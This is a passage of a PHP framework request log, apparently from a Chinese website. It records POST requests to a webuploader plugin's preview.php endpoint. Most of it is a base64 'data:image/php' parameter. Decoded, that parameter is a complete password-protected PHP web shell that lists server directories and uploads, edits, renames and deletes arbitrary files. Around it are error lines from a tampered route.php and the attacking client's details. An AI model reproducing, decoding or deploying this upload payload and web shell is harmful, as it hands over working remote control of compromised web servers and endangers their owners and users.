KCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:53+08:00 ] 119.42.146.234 POST 51tianwei.com/public/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.003064s] [吞吐率:326.35req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF